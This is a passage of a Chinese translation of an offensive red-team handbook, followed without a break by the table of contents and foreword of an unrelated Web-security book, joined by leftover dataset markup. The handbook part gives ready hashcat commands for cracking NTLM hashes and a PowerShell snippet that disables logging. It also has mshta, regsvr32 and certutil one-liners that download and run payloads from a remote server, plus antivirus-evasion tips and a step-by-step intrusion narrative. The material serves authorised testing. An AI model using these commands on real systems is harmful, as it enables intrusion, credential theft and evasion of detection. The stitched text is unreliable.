hashes.cracked ./hashes/cat.txt”开头。\nhashcat：运行hashcat工具。\n-w 3：使用固定的配置。\n-m 1000：散列值的格式为 NTLM。\n-o hashes.cracked：结果输出到文件中。\n./hashes/cat.txt：散列值存储的位置。\n因此，每当您看到“[hashcat]”字符串时，可使用以下命令替换它：“hashcat -w 3 -m 1000 -o hashes.cracked ./hashes/cat.txt”。现在，快速破解NTLM散列值，我们可以在8 个GPU 1080Ti平台上高效工作。\n对于长度为1～7个字符的任何字母、数字或特殊字符（?a），使用攻击模式“brute-force”（-a 3）破解所有7个字符或更少的密码（增量）。 \n[hashcat] -a 3 ?a?a?a?a?a?a?a --increment\n7个字符alpha/num/special破解总时间约为5min。8个字符需要运行9h。\n您还可以限制特殊字符为少数（!@＃$%^），这将显著减少破解时间和复杂度。\n接下来，将所有常见密码字典转储与散列值进行比较。第一个文件（40GB_ Unique_File.txt）是一个3.2 GB大小的密码文件，运行大约需要9s。 \n[hashcat] ./lists/40GB_Unique_File.txt\n正如我们所看到的，即使是最大的文件，计算的时间也只需要几秒。为了提高效率，我们实际上可以使用“*”运算符，与./lists/文件夹中的每个密码字典进行比较。 \n[hashcat] ./lists/*\n接下来，基于散列算法的速度，可以在单个密码字典文件上尝试不同的规则集。我们将从rockyou规则集开始，这些NTLM散列值大约需要2min9s。 \n[hashcat] ./lists/40GB_Unique_File.txt -r ./rules/rockyou-30000.rule\n注意：使用3 GB大小文件设置NSAKEY规则，大约需要7min，而NotSoSecure的“The one rule to rule them all”规则集大约需要20min\n我重新使用其他密码字典和规则集组合。所有大型规则集和大型密码字典组合的第一轮，我们至少可以提高30%的破解率。\n接下来，我们开始在密码字典的右侧添加字符，满足更长密码破解需求。下面显示的-a 6开关命令，将每个字母/数字/特殊字符添加到密码右侧，从1个字符开始一直到4个字符。 \n[hashcat] -i -a 6 ./lists/found.2015.txt ?a?a?a?a\n需要花费大约30min时间完成4个字符的尝试\n我们还可以在密码列表的左侧添加字符。以下命令将每个字母/数字/特殊字符添加到密码的左侧，从1个字符开始一直到4个字符。 \n[hashcat] -i -a 7 ?a?a?a?a ./lists/40GB_Unique_File.txt\n需要花费大约30min时间完成4个字符的尝试\nhashcat应用：hashcat包括很多工具，可以帮助构建更好的密码字典。一个例子是组合器，它可以采用两个或3个不同的密码字典进行组合。使用小的字典速度相对较快。把我们的shortKrak字典与它自身结合，就会产生一个非常好的结果。 \n./hashcat-utils-1.8/bin/combinator.bin lists/shortKrak.txt lists/shortKrak.txt > lists/ comboshortKrak.txt\n使用排名靠前的Google 1 000字的列表会产生大约1.4 GB大小的字典文件，因此您必须小心地选择文件的大小。 \n./hashcat-utils-1.8/bin/combinator.bin lists/google_top_1000.txt lists/google_top_ 1000.txt > lists/google_top_1000_combo.txt\n输入4MB文件，运行combinator，生成的文件大于25 GB的存储空间。因此，要注意这些文件的大小\n很多时候，人们使用的密码不是常见的字典单词，而是基于公司、产品或服务的单词。我们可以使用客户端网站创建自定义密码字典。实现这个功能的两个工具如下。 \nBrutescrape - https://github.com/cheetz/brutescrape\nBurp Word List Extractor -https://portswigger.net/bappstore/21df56baa03d499c 8439018fe075d3d7\n接下来，输入所有破解的密码，分析它们并用来创建掩码https://thesprawl.org/ projects/pack/。 \npython ./PACK-0.0.4/statsgen.py hashes.password\npython ./PACK-0.0.4/statsgen.py hashes.password --minlength=10 -o hashes.masks\npython ./PACK-0.0.4/maskgen.py hashes.masks --optindex -q –o custom-optindex. hcmask\n使用新创建的掩码，运行密码破解。 \n[hashcat] -a 3 ./custom-optindex.hcmask\n通过Pipal获取密码字典，从而更好地理解基本单词，如图8.2所示。\n图8.2\ncd /opt/pipal\n./pipal.rb hashes.password\n查看密码字典，您可能会发现该公司使用resetme12345作为默认密码，公司可能位于密歇根州（底特律、老虎、足球）。\n您的最终目标是什么？通过对不同的密码生成工具、分析技术和其他技术进行大量研究，可以找到更快的破解密码的方法。\n8.4 创造性的行动\n进入公司内部的红队，在行动中可能更有创造性。我经常进行的活动是模拟勒索软件。WannaCry爆发的时候，我们可以模拟勒索软件攻击。随着勒索软件攻击方式越来越流行，我们确实需要测试业务恢复/灾难恢复程序。\n我们在现实生活中见证了WannaCry事件，WannaCry通过SMB共享横向移动，利用“永恒之蓝”漏洞，加密文件，甚至删除了主机系统上的所有备份。作为一个IT组织，我们需要确定的问题是，如果我们的某个用户单击了该恶意软件，会产生什么影响？我们可以恢复用户文件、共享文件和数据库等吗？我们一直听到的答案是：“我想是这样……”，但如果没有红队来提前验证这些流程，我们最后等到房子被烧成灰烬才会知道真正的答案。\n这就是我喜欢为组织提供内部红队的原因。我们可以在受控环境中真正证明并验证安全性和IT是否正常运行。本书并不包括勒索软件的例子，因为这样做很危险。您可以自己构建工具，并在客户允许的情况下，开展相关测试。\n下面是有关模拟勒索软件的提示。\n某些组织实际上不允许您删除/加密文件。对于这些公司，您可以模拟勒索软件攻击。一旦恶意软件被执行，它所做的就是扫描主机/网络中的重要文件，将每个文件读入内存，随机交换一个字节，将这些字节发送到命令控制服务器，并包含元数据。这将演示您能够访问文件的数量，在检测流量之前可以从网络中渗透数据量，以及可以恢复文件的数量。\n查看其他勒索软件样本，了解它们正在加密的文件类型。这可以模拟一个更真实的行动。例如，查看WannaCry中的文件类型。\n如果您要“加密”恶意软件，使用一些简单的方法来做。它可以是带有密钥的标准AES，公钥/私钥x509证书，或某种按位“异或”。实现越复杂，无法恢复文件的可能性就越大。\n测试、测试和测试。最糟糕的事情是发现公司无法恢复关键文件，并且您的解密过程不起作用。\n许多下一代杀毒软件，根据某些操作自动阻止勒索软件。例如，勒索软件可能执行的正常检测是：扫描系统中所有类型为X的文件、加密文件、删除卷副本以及禁用备份。要规避检测过程，可以尝试放慢操作过程，或者尝试通过不同的流程完成相同的操作。\n8.5 禁用PS记录\n作为红队，我们一直在寻找独特的方法，尝试禁用任何类型的日志记录。虽然有一些办法来执行这些攻击，但我们仍在不断寻找新的简单技术。\n以下是leechristensen的示例，可用于禁用PowerShell日志记录。\n$EtwProvider = [Ref].Assembly.GetType('System.Management.Automation. Tracing. PSE twLogProvider').GetField('etwProvider','NonPublic,Static')。\n$EventProvider = New-Object System.Diagnostics.Eventing.EventProvider –Argument List @([Guid]::NewGuid())。\n$EtwProvider.SetValue($null, $EventProvider)。\n8.6 在Windows中使用命令行从Internet下载文件\n如果您通过应用程序漏洞获得执行权限，通过Office文件或PDF获得Shell，那么接下来的步骤可能是下载并执行后续恶意软件。对于这些情况，我们可以利用Windows“功能”完成工作。大多数例子来自arno0x0x和@subtee的研究成果。\nmshta vbscript:Close(Execute(\"GetObject(\"\"script:http://webserver/payload.sct\"\")\"))。\nmshta http://webserver/payload.hta。\nrundll32.exe javascript:\"..\\mshtml,RunHTMLApplication\";o=GetObject(\"script: http:// webserver/payload.sct\");window.close();。\nregsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll。\ncertutil -urlcache -split -f http://webserver/payload payload。\ncertutil -urlcache -split -f http://webserver/payload.b64 payload.b64 &certutil -decode payload.b64 payload.dll & C:\\Windows\\Microsoft.NET\\Framework64\\ v4.0.30319\\ InstallUtil/ logfile= /LogToConsole=false /u payload.dll。\ncertutil -urlcache -split -f http://webserver/payload.b64 payload.b64 &certutil -decode payload.b64 payload.exe & payload.exe。\n这些只是一些示例，还有大量的方法通过命令行执行后续代码。您可以找到隐藏传统日志记录的其他技术。\n8.7 从本地管理员获取系统权限\n有多种方式可以通过本地管理员账户获取系统权限。当然，常见的方法是使用Metasploit的getsystem，但这并不总是可用。decoder-it创建了一个PowerShell脚本，将本地管理PowerShell提示符转换为System权限，通过创建一个新进程，设置新进程的父进程为系统进程。可以找到这个PowerShell，并执行以下操作，如图8.3所示。\n图8.3\nPS> . .\\psgetsys.ps1。\nPS>[MyProcess]::CreateProcessFromParent(<processrun_by_system>,<command to_execute>)。\n8.8 在不触及LSASS的情况下获取NTLM散列值\nElad Shamir进行了广泛的研究，并且清楚地分析了如何在不接触LSASS的情况下获取NTLM散列值。在这种攻击方法出现之前，Windows 10企业版和Windows Server 2016操作系统中提供保护机制——通过mimikatz访问LSASS无法获取散列法。Elad开发了一种称为Internal Monologue的攻击方法，操作方法如下所示。\n如上所述，通过将LMCompatibilityLevel、NTLMMinClientSec和RestrictSending- NTLMTraffic更改为适当的值，禁用NetNTLMv1防护机制。\n从当前正在运行的进程中，检索所有非网络登录令牌，并模拟关联的用户。\n对于每个模拟用户，在本地与NTLM SSP交互，在模拟用户的安全上下文中，获取所选质询的NetNTLMv1响应。\n恢复LMCompatibilityLevel、NTLMMinClientSec和RestrictSendingNTLMTraffic原始值。\nhttps://github.com/eladshamir/Internal-Monologue，如图8.4所示。\n图8.4\n8.9 使用防御工具构建培训实验室和监控平台\n测试恶意软件的一个比较有挑战性的工作是建立一个非常快速的测试环境。Chris Long构建的一个名为Detection Lab的强大工具是Packer和Vagrant脚本的集合，允许您快速将Windows 活动目录联机。该工具包含一系列主机安全工具和日志记录工具。检测实验室由4个主机组成。\nDC：Windows 2016域控制器。\nWEF：负责Windows事件搜集的Windows 2016服务器。\nWin10：模拟非服务器端点的Windows 10主机。\nLogger：运行Splunk和Fleet服务器的Ubuntu 16.04主机。\n8.10 结论\n对于红队来说，“欺骗”和技巧是能力的一部分。我们必须不断研究被攻击用户、系统，以及规避检测的更好方法。这需要数小时到数年的练习、汗水和眼泪。\n第9章 两分钟的操练——从零变成英雄\n随着时间的推移，这是测试的最后一天，您从外部开展突破，没有取得太多进展。您感到压力越来越大，因为您需要进入公司内部，了解公司的布局，获取敏感文件/代码，横向渗透到不同的用户和网络，并最终获取网络空间猫公司的秘密计划。您的任务是“窃取”新的火箭秘密，绝对不能失败。现在是进行两分钟演习的时候。剩下的时间不多了，您需要从10码线开始，突破所有的防守机制，清除障碍，移动到90码区域。\n9.1 10码线\n您回顾所有行动记录，尝试找出可能遗漏的内容。其中一个网页屏幕截图进入您的视线。这是CSK公司的论坛网站。您无法在应用程序中找到任何漏洞，但请注意，员工和公共用户都在CSK公司的论坛发布有关其太空计划的问题、评论和其他信息。\n您在网站上搜索了所有用户，查找看起来是公司员工的账户。然后，您选用可靠的密码字典。您使用常用的密码和变换规则，对所有这些账户进行暴力破解。然后，您看到Python脚本运行失败……失败……失败……密码找到了！当看到其中一个用户Chris Catfield使用密码“Summer2018！”时，您笑了。这对您来说太容易了。接下来，您以Chris身份登录论坛，阅读他所有的私人消息和帖子，找出最佳的方法，获取最初的立足点。您看到Chris经常与论坛上的另一名内部员工Neil Pawstrong谈论太空计划。看起来他们不是现实中的朋友，但是有良好的工作关系。这很好，因为接下来的网络钓鱼攻击将是一个好的起点。使用Chris的账户，我们已经在两个用户之间建立了良好的关系，并且成功的可能性非常大。\n9.2 20码线\n您在考虑是否向Neil发送定制的恶意静荷，因为这可能太明显了。于是，您发送一个包含猫照片的网页链接，同时发送消息：“嘿，尼尔，我知道你喜欢猫！看一看我做的这个页面！”，如图9.1所示。\n图9.1\n几分钟后，您在论坛网站上收到Neil的一条回复消息说：“哈哈，我喜欢太空猫！”Neil没有意识到，他访问的网页有一个定制的JavaScript静荷，扫描CSK内部网络，并突破没有设置身份鉴权的Jenkins和Tomcat网络服务器。几秒内，Empire静荷回连，大功告成。\n9.3 30码线\n当您感觉兴奋时，您知道蓝队使用防火墙/ DNS /主机实施拦截，只是一个时间问题，因此必须快速行动。幸运的是，您已经设置了自动化脚本，完成大量的重复操作工作。突破的主机信标被激活，开始运行Bloodhound工具，查找本地密码，设置注册表项，捕获mimikatz LSASS密码，运行SPN并转储所有Kerberos票证，当然，还要在计划任务中设置持久性参数。\n9.4 40码线\n您知道需要快速离开这个初始突破设备。您获取所有Kerberos票证，将其转储成hashcat格式，并开始破解。您发现使用额外的Bug赏金购买的几个1080Ti GPU非常棒。当GPU开始破解时，您破解一些服务账户密码，但是您没有时间进一步了解。您查看了Bloodhound的输出，并了解到初始突破的设备属于Neil Pawstrong，他的域账户可以访问Buzz Clawdrin设备，如图9.2所示。使用WMI，您可以在远程Buzz Clawdrin设备上运行另一个静荷，然后迁移到Buzz所在的进程中。\n图9.2\n9.5 50码线\n幸运的是，您同样是Buzz设备的本地管理员，这意味着这两个设备一定有很多关联。基于Bloodhound的输出，您遍历网络，发现了CSK公司实验室的设备，但要意识到您在这个系统上没有本地管理账户。不用担心，您加载PowerUp PowerShell脚本，查找该系统上的错误配置，这可能允许您访问本地管理员账户。正如您所想，系统服务的二进制文件有大量未引用的路径，您可以在这些路径编写自己的静荷。您可以快速创建一个新的恶意二进制文件，这些文件现在可以由本地系统服务触发执行。\n9.6 60码线\n您在第二个命令和控制设备上，获得了新的Cobalt Strike静荷连接，即使蓝队发现了行动中的蛛丝马迹，您也可以保持访问权限。当前连接具有系统权限，您搜索设备，在文本文件、浏览器和WinSCP配置文件中找到大量的凭证。这个共享设备是一个“金矿”，连接到多个服务器和数据库。您注意到此计算机位于不同的VLAN上。看起来这个系统可以访问Neil以前无法访问的多个系统。您再次运行命令，通过Bloodhound查看系统连接关系。您注意到，网络中很多系统无法访问Internet，因此您无法运行HTTP信标。但是，由于使用的是Cobalt Strike，因此您知道Cobalt Strike平台的一个特点是可以通过突破主机的命名管道（SMB）实现隧道传输。\n这意味着在实验室VLAN网络中，已突破的系统可以通过CSK公司实验室的设备路由到互联网。此外，运行systeminfo命令，获取Windows Patch级别，您发现这些部分隔离的设备没有打补丁。看起来客户端计算机运行Windows 7操作系统，并且没有针对EternalBlue漏洞打补丁。\n9.7 70码线\n通过CSK公司的实验室设备，您可以使用修改后的EternalBlue漏洞在实验室网络中的众多Windows 7系统上生成SMB信标静荷。使用所有新Shell，您开始获取大量信息。您注意到其中一个系统与名为Restricted的远程Microsoft SQL服务器具有活动连接。您可以尝试实验室网络上的所有账户，但这些用户名和密码都不适用于此数据库。您回过头来查看所有笔记并意识到……您忘记了Kerberos“门票”！您可以通过SSH连接到破解设备，查看输出，查找链接到Restricted数据库的故障单。您找到了该服务账户的密码！\n9.8 80码线\n您登录Restricted 数据库并转储整个数据库。您很想在现场阅读，但知道时间有限。您使用一些PowerShell -fu压缩和加密转储，然后在不同的突破系统之间慢慢渗透，最后将其从网络移到命令和控制服务器。\n您告诉自己做到了，但是当慢慢冷静下来后，发现仍有很多工作要做。您重新查看Bloodhound的输出结果，发现了Purri Gagarin的机器，它是帮助工作台组的成员。太棒了！我们可以使用这台主机，远程连接到域管理员的设备，或者通过Windows ACE，然后将域管理员的密码重置为我们选择的密码。我们继续前进，重置域管理员和Elon Muskkat的密码，生成具有域管理员权限的静荷！\n9.9 90码线\n我们需要做的最后一件事是转储域控制器的所有散列值，设置备份后门，然后离开现场。建议您运行mimikatz的DCSync获取所有用户的散列值和krbtgt票证，而不要采用网络流量较大（Shadow Volume Copy）的方法获取所有域散列值。我们现在有了“金钥匙”！如果我们决定再次访问网络，那么可以创建自己的Kerberos票证，直接获取域管理员权限。\n在部署多个后门时，我们在不同的设备上应用多种技术。我们在其中一个用户系统上设置了粘滞键后门；使用Backdoor Factory技术，在另一个系统的常见二进制文件中隐藏恶意软件；设置计划任务，每周运行一次，回连我们的一个子域；在一个隔离的实验室设备上，用dnscat二进制代替一个无用的运行服务；并在不同系统启动文件夹，放置多个静荷。\n幸运的是（但对于蓝队是不幸的），我们还没有被发现。但是，请记住，红队评估的目的是了解蓝队发现恶意攻击的速度有多快（他们没有这些活动），以及蓝队开展应急响应/取证和阻止攻击的时间。因此，最后您要通知蓝队，运行脚本https://github.com/EmpireProject/Empire/blob/master/data/ module_source/trollsploit/Get-RickAstley.ps1，关闭计算机。任务完成。\n第10章 赛后——分析报告\n在之前的“黑客秘笈”系列图书中，我们介绍了如何编写渗透测试报告，并提供了大量示例模板。这些模板非常适合作为标准的渗透测试行动周总结报告，但不适用于红队行动。正如本书所述，红队的主要任务不在于识别漏洞本身（尽管通常是行动的一部分），而是测试员工安全意识、工具、流程和员工技能。如果您的公司受到演练人员或坏人的攻击并被突破，您会给自己什么样的成绩？我一直反对使用差距评估分数、ISO分数、成熟度模型分数、标准风险分析、热图和类似报告来展示公司安全流程的真实样子。\n就个人而言，在红队行动前，我希望看到公司安全防护取得真正的进展。例如，对于使用类似doppelganger的网络钓鱼行动，我们看到公司启用了以下某些功能。\n使用DNStwist对与其公司类似的域发出警报。\n受信任的外部电子邮件域列表。任何不匹配的外部邮件，都将在最终用户可见的电子邮件中附加标题，表示邮件来自外部（非公司），是未经批准的电子邮件来源。这有助于您的用户更轻松地识别网络诱骗行为。\n如果电子邮件中的任何链接来自于代理中未分类的域，那么至少在单击时会提醒用户域未被分类。\n禁止Office宏以及附件，强制采用受保护的视图和沙箱机制。\n这只是公司可以实施的一些简单的措施，可以有效阻止攻击。\n请记住，红队只需要找到一个可能危及环境的安全漏洞。但是，与此同时，蓝队只需要识别攻击者的战术、技术和程序中的一个环节，就可以防止网络被突破。因此，现在的问题是，如果从您的工具中发现攻击者的一个环节，并发出警报，您的应急响应团队多长时间可以发现并做出响应？\n那么红队报告中的内容包括什么？红队仍然是新的领域，目前还没有标准的报告模板，我们可以根据客户的需求进行定制。从我的角度来看，由于我们可能会在整个行动中尝试多次进入某个环境（并且被“抓住”了几次），因此我们希望展示好的与坏的两个方面。\n至于行动中记录的内容，许多工具（如Empire和Cobalt Strike）在行动期间都有详细的事件日志，但这些还是远远不够的。在行动中非常有用的方式是，搭建一个简单的网络服务器，记录红队成员执行的每项行动。在行动期间仅收集基本的信息，包括特定事件、服务器、描述、影响、任何警报和屏幕截图。大多数红队/渗透测试人员都不愿做记录，网络服务器提供了一种跟踪行动的简单方法，如图10.1所示。\n行动结束后，我们搜集所有记录，并将内容组合在一起，形成红队报告，用于讲述故事。红队报告的主要部分可能包括以下几点。\n简介/范围：本节需要明确说明行动的目标。例如，客户要求我们获取特定数据，例如域管理员、个人验证信息和IP地址，或者在生产网络服务器中查找标志。\n提示：行动中的应急响应/取证团队复盘非常有意义。我们需要识别工具或传感器可能缺少的位置，从而造成无法执行取证或检测恶意行动。因此，我们希望提供命令和控制服务器的IP地址、使用的域名、二进制文件的MD5/SHA1散列值，电子邮件地址和IP地址信息，被钓鱼的被攻击者列表，以及可能有助于应急响应/取证团队开展工作的其他任何信息。\n图10.1\n攻击时间表：这是红队战役中的一个重要的部分，需要做充分的记录。时间表应充分描述所有主要事件、触发警报的检测时间以及主要的行动步骤。这将允许蓝队对比时间表和记录，查看有什么差距。在真正的攻击中，您能够询问攻击者所做的一切吗？这对防御蓝队非常有帮助。时间轴示例可能如图10.2所示。\n图10.2\n检测时间（TTD）/缓解时间（TTM）：通常我们可以使用蓝队报告中的TTD/TTM统计数据。总之，我们需要得到蓝队发现每次入侵的时间；扫描事件触发调查之前，经过了多长时间（如果有的话）；蓝队发现网络钓鱼活动需要多长时间。第二部分应讨论采取行动之前的时间统计数据。如果已经识别命令和控制通信或者网络钓鱼攻击，防火墙或DNS服务器阻止该域需要多少时间？我们经常看到公司可能擅长阻止域名，却无法阻止命令和控制服务器使用IP地址通信（反之亦然）。我们希望跟踪事件并且为客户识别事件。另一个重要的TTM衡量标准是他们能否快速隔离确定的突破系统。随着恶意软件变得越来越自动化，我们需要开始利用智能和自动化流程，将系统或网络的一部分与组织的其他部分隔离开。\n来自应急响应/取证人员的反馈：我喜欢记录蓝队的反馈，也就是他们从防守的角度如何看待整个行动。我想要了解的是，如果蓝队按照安全防护的规定，由事件牵头人启动调查，管理层深度介入，安全部门与IT部门如何交互促使IT部门改变（防火墙拦截、DNS修改等），以及恐慌或保持冷静的人。\n如前所述，红队的目的不是寻找漏洞或破坏环境（尽管这是有趣的部分），红队的目的是提升、改善组织的整体安全流程，并证明组织的安全环境存在某些差距。如今，许多公司对于安全流程过于自信，因此他们不会在被突破之前进行改变。通过红队，我们可以模拟攻击，鼓励做出改变，从而确保不会发生真实的攻击事件。\n第11章 继续教育\n我总是被问到的问题：“我现在该怎么办？我已阅读所有的“黑客秘笈”系列图书，参加了各种培训课程，并参加了很多会议！”。我现在可以给出的最好建议是，您应该开始从小的项目做起，并为安全社区做出贡献。这是真正测试您的技能的好方法。\n下面列出了一些可能有用的想法。\n设置博客和您自己的GitHub账户：您应该写下所有经历和学习内容，并与他人分享这些内容，这确实有益于您个人的成长。通过博客记录您所学习的内容将提高写作的能力，以一种更容易理解的方式解释漏洞/漏洞利用，确保您对内容的理解足够深刻，可以向其他人解释清楚。\n您的简历应该是您的GitHub账户：我总是告诉我的学生，您的GitHub账户（或博客）应该能够独立存在。无论是各种小的安全项目，例如使得工具变得更高效和更有效，还是您自己的安全项目，您的工作都应该在GitHub上进行介绍。\n在当地会议上发言：演讲可能会非常令人生畏，但如果您在简历上有演讲经历，您比其他人更容易进入安全领域。从哪里可以找到演讲的机会？我建议您从本地的聚会开始，找到可以参与的组织。这些组织通常很小，每个人都非常友好。如果您在加利福尼亚州南部地区，我创办并且经营LETHAL，这是一个社区性质的免费安全组织，组织成员每月见面一次。无论如何，参与其中！\nBug Bounties：无论您是攻击者还是防御者，赏金计划都可以真正地帮助您提升能力。HackerOne、BugCrowd和SynAck等Bug赏金计划可以免费注册。您不仅可以正大光明地赚到钱，还可以合法地破解目标网站（当然，需要在计划范围内）。\n夺旗竞赛：我知道很难抽出时间做所有这些事情，但我总是告诉我的学生：安全不是工作：这是一种生活方式。访问CTFtime.org，挑选一些CTF比赛，在那些周末开始比赛，然后开始攻击。相信我，您在CTF周末可以学到更多的内容，比任何课程都多。\n与您的朋友一起建立一个实验室：在测试实验室模拟公司环境，如果没有这样的测试环境，则很难在实际场景中开展行动。如果没有这个测试环境，那么在运行各种攻击性工具时，您将无法真正了解背后发生的事情。因此，必须构建一个全面的实验室，其中包含虚拟局域网、活动目录、服务器、GPO、用户和计算机、Linux环境、Puppet、Jenkins，以及您可能看到的所有其他常用工具。\n向对手学习：对于红队来说，这是一个很重要的因素。我们的行动不应该是理论上的，而是复制另一次真正的攻击。密切关注最新的APT报告，并确保了解对手如何改变他们的攻击方式。\n关注“黑客秘笈”系列图书：要了解最新的黑客秘笈新闻，请在此订阅thehackerplaybook。\n培训：如果您正在寻找一些培训，可以访问thehackerplaybook网站。\n致谢\n本书贡献者\nWalter Pearce\nKristen Kim\nBill Eyler\nAnn Le\nMichael Lim\nKevin Bang\nBrett Buerhaus\nTony Dow\nTom Gadola\n特别感谢\nMark Adams\nTim Medin（nidem）\nSpecterOps\nGianni Amato\nCasey Smith（@subTee）\nRobert David Graham\nBen Ten（@Ben0xA）\nblechschmidt\nVincent Yiu（@vysecurity）\nJamieson O'Reilly\nChris Spehn（@ConsciousHacker）\nNikhil Mittal（SamratAshok）\nBarrett Adams（peewpw）\nMichael（codingo）\nDaniel Bohannon\nCn33liz\n（@danielbohannon）\nSwissky（Swisskyrepo）\nSean Metcalf（@PyroTek3）\nRobin Wood（digininja）\n@harmj0y\nTrustedSec\nMatt Graeber（@mattifestation）\nDavid Kennedy（@HackingDave）\nMatt Nelson（@enigma0x3）\nFireEye\nRuben Boonen（@FuzzySec）\nIgandx\nBen Campbell（@Meatballs ）\nAlexander Innes（leostat）\nAndrew Robbins（@_wald0）\nActiveBreach（mdsecactivebreach）\nRaphael Mudge（@rsmudge）\nbbb31\nDaniel Miessler（@DanielMiessler）\npentestgeek\nGianni Amato（guelfoweb）\nSECFORCE\nAhmed Aboul-Ela（aboul3la）\nSteve Micallef\nLee Baird（leebaird）\nSpiderLabs\nDylan Ayrey（dxa4481）\nH.D. Moore\nRapid7（@rapid7）\nTheRook\nWill Schroeder（@harmj0y）\nAhmed Aboul-Ela（aboul3la）\nRon Bowes（@iagox86）\nEmilio（epinna）\nSensePost\nDylan Ayrey（dxa4481）\nSekirkity\nGeorge Chatzisofroniou（sophron）\nByt3bl33d3r\nDerv（derv82）\nKarim Shoair（D4Vinci）\nGarrett Gee\nChris Truncer\nHackerWarehouse\nAnshuman Bhartiya\nLETHAL\nOJ Reeves\nn00py\nBen Sadeghipour（@nahamsec）"},"category":{"kind":"string","value":"epub_books"}}},{"rowIdx":19,"cells":{"text":{"kind":"string","value":"版权信息\n书名：Web应用安全权威指南\n作者：（日） 徳丸浩\n译者：赵文，刘斌\nISBN：978-7-115-37047-1\n本书由北京图灵文化发展有限公司发行数字版。版权所有，侵权必究。\n您购买的图灵电子书仅供您个人使用，未经授权，不得以任何方式复制和传播本书内容。\n我们愿意相信读者具有这样的良知和觉悟，与我们共同保护知识产权。\n如果购买者有侵权行为，我们可能对该用户实施包括但不限于关闭该帐号等维权措施，并可能追究法律责任。\n图灵社区会员 ptpress（libowen@ptpress.com.cn） 专享 尊重版权\n推荐序\n译者序\n前言\n谢辞\n第 1 章 什么是 Web 应用的安全隐患\n1.1 安全隐患即“能用于作恶的 Bug”\n1.2 为什么存在安全隐患会有问题\n1.3 产生安全隐患的原因\n1.4 安全性 Bug 与安全性功能\n1.5 本书的结构\n第 2 章 搭建试验环境\n2.1 试验环境概要\n2.2 安装 VMware Player\n2.3 安装虚拟机及运行确认\n2.4 安装 Fiddler\n第 3 章 Web 安全基础 ： HTTP、会话管理、同源策略\n3.1 HTTP 与会话管理\n3.2 被动攻击与同源策略\n第 4 章 Web 应用的各种安全隐患\n4.1 Web 应用的功能与安全隐患的对应关系\n4.2 输入处理与安全性\n4.3 页面显示的相关问题\n4.3.1 跨站脚本（基础篇）\n4.3.2 跨站脚本（进阶篇）\n4.3.3 错误消息导致的信息泄漏\n4.4 SQL 调用相关的安全隐患\n4.4.1 SQL 注入\n4.5 关键处理中引入的安全隐患\n4.5.1 跨站请求伪造（CSRF）\n4.6 不完善的会话管理\n4.6.1 会话劫持的原因及影响\n4.6.2 会话 ID 可预测\n4.6.3 会话 ID 嵌入 URL\n4.6.4 固定会话 ID\n4.7 重定向相关的安全隐患\n4.7.1 自由重定向漏洞\n4.7.2 HTTP 消息头注入\n4.7.3 重定向相关的安全隐患总结\n4.8 Cookie 输出相关的安全隐患\n4.8.1 Cookie 的用途不当\n4.8.2 Cookie 的安全属性设置不完善\n4.9 发送邮件的问题\n4.9.1 发送邮件的问题概要\n4.9.2 邮件头注入漏洞\n4.10 文件处理相关的问题\n4.10.1 目录遍历漏洞\n4.10.2 内部文件被公开\n4.11 调用 OS 命令引起的安全隐患\n4.11.1 OS 命令注入\n4.12 文件上传相关的问题\n4.12.1 文件上传问题的概要\n4.12.2 通过上传文件使服务器执行脚本\n4.12.3 文件下载引起的跨站脚本\n4.13 include 相关的问题\n4.13.1 文件包含攻击\n4.14 eval 相关的问题\n4.14.1 eval 注入\n4.15 共享资源相关的问题\n4.15.1 竞态条件漏洞\n第 5 章 典型安全功能\n5.1 认证\n5.1.1 登录功能\n5.1.2 针对暴力破解攻击的对策\n5.1.3 密码保存方法\n5.1.4 自动登录\n5.1.5 登录表单\n5.1.6 如何显示错误消息\n5.1.7 退出登录功能\n5.1.8 认证功能总结\n5.2 账号管理\n5.2.1 用户注册\n5.2.2 修改密码\n5.2.3 修改邮箱地址\n5.2.4 密码找回\n5.2.5 账号冻结\n5.2.6 账号删除\n5.2.7 账号管理总结\n5.3 授权\n5.3.1 什么是授权\n5.3.2 典型的授权漏洞\n5.3.3 授权管理的需求设计\n5.3.4 如何正确实现授权管理\n5.3.5 总结\n5.4 日志输出\n5.4.1 日志输出的目的\n5.4.2 日志种类\n5.4.3 有关日志输出的需求\n5.4.4 实现日志输出\n5.4.5 总结\n第 6 章 字符编码和安全\n6.1 字符编码和安全概要\n6.2 字符集\n6.3 字符编码方式\n6.4 由字符编码引起的漏洞总结\n6.5 如何正确处理字符编码\n6.6 总结\n第 7 章 如何提高 Web 网站的安全性\n7.1 针对 Web 服务器的攻击途径和防范措施\n7.1.1 利用基础软件漏洞进行攻击\n7.1.2 非法登录\n7.1.3 对策\n7.2 防范伪装攻击的对策\n7.2.1 网络伪装的手段\n7.2.2 钓鱼攻击\n7.2.3 Web 网站的伪装攻击对策\n7.3 防范网络监听、篡改的对策\n7.3.1 网络监听、篡改的途径\n7.3.2 中间人攻击\n7.3.3 对策\n7.4 防范恶意软件的对策\n7.4.1 什么是 Web 网站的恶意软件对策\n7.4.2 恶意软件的感染途径\n7.4.3 Web 网站恶意软件防范对策概要\n7.4.4 如何确保服务器不被恶意软件感染\n7.5 总结\n第 8 章 开发安全的 Web 应用所需要的管理\n8.1 开发管理中的安全对策概要\n8.2 开发体制\n8.3 开发过程\n8.3.1 规划阶段的注意事项\n8.3.2 招标时的注意事项\n8.3.3 需求分析时的注意事项\n8.3.4 概要设计的推进方法\n8.3.5 详细设计和编码阶段的注意事项\n8.3.6 安全性测试的重要性及其方法\n8.3.7 Web 健康诊断基准\n8.3.8 承包方测试\n8.3.9 发包方测试（验收）\n8.3.10 运维阶段的注意事项\n8.4 总结\n推荐序\n我投身信息安全产业领域已经有十五个年头了。过去我通过端口扫描，探测服务器的操作系统类型；防火墙出现后，我又转攻 Web 应用安全，结交了很多业内的顶级信息安全专家，与他们进行了大量的交流。\n互联网的出现使得大家从传统的纸质信件传递转变为通过互联网电子邮件收发邮件；社交网络的出现，让我们得以通过互联网来结交更多的朋友。然而，我们在享受这些便利的同时，也承受着恶意钓鱼、跨站脚本攻击、恶意网马植入等风险。这些行为造成用户的信息泄漏，银行卡、信用卡信息被恶意盗刷，以致产生大量的经济损失。\n通过国际权威的 Web 应用安全机构 OWASP 所发布的 TOP Ten，可以看出 Web 安全的重要性。现在全球有效的网络攻击中，基于 Web 的占 80% ，SQL 注入与跨站脚本攻击一直都位于 OWASP Top Ten 的前两名，这两种攻击通常都发生在 Web 